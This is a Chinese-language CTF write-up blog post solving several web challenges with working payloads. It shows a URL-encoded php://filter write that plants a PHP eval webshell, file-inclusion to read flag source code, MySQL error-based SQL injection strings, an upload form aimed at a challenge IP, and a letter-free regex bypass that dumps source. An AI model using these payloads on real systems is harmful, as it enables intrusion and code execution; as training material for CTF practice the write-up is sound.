721ctf2


web01

  1. 绕过$_SERVER['QUERY_STRING']
  • 采用url编码的方式
filename : %66%69%6c%65%6e%61%6d%65

php://filter/write=convert.base64-decode/resource=2.php  :   
%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%32%2e%70%68%70
content : %63%6f%6e%74%65%6e%74

<?php eval($_POST[a]);?> : aPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+  :  %61%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%59%56%30%70%4f%7a%38%2b
  1. 绕过$_REQUEST正则
  • POST传入相同的参数
POST: filename=1&content=1
  • 注意:
    要删除cookie的所有值

image-20210726141808725

  • 输入文件成功的界面

image-20210726142256087

  1. 访问2.php执行rce

image-20210726142408416

web2

  1. 文件包含绕过
a=include($_POST[b]);&b=php://filter/read=convert.base64-encode/resource=show_flag.php

image-20210726142839205

  1. 解码之后,访问show_flag.php传参
zz[0]=FLAG&zz[1]=printflag

image-20210726143256240

  1. 拿到flag,html实体解码,最后base64解码

Web4

不知道绕过姿势的同学可以参考一下这个博客小技巧

  • 已知列名
true and linestring(id);

image-20210726163725167

数据库名字mysql,表名:ctf_oaa_me字段名:id

  • ·根据上面信息寻找其他字段,参考上面博客的姿势
?id=true and (select * from(select * from mysql.ctf_oaa_me a join mysql.ctf_oaa_me b using(id))c);

image-20210726164035193

  • 继续找
?id=true and (select * from(select * from mysql.ctf_oaa_me a join mysql.ctf_oaa_me b using(id,username))c);

image-20210726164132563

  • 找到字段名直接输出
true and linestring((select * from(select * from(select flag_cksjodjanckd from mysql.ctf_oaa_me)a)b));

image-20210726164411164

  • 报错注入有好几种,不止updatexml,extractvalue,floor

web5

  1. 扫目录

2088F68F-8884-461E-9A52-4E4C538A309F

  1. 还原看下源码

image-20210726165142225

  • 正则是不允许那么多字母按那么多顺序出现,直接无字符字母绕过正则,构造POST数据包
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://114.115.207.198:200/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包修改数据发送

image-20210726171159128

  • 访问aGho.php

正则可以参考ctfshow,web40绕过

print_r() 函数用于打印变量,以更容易理解的形式展示localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
通过 pos(localeconv())得到点号因为scandir('.')表示得到当前目录下的文件PS:如果我没有记错,scnadir('/')也能扫描当前目录下面的文件,但是这道题貌似无法使用chr(47)和chr(48)(.和/的ASCII码)进行过滤的绕过
?cshow_source(next(array_reverse(scandir(current(localeconv())))));

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录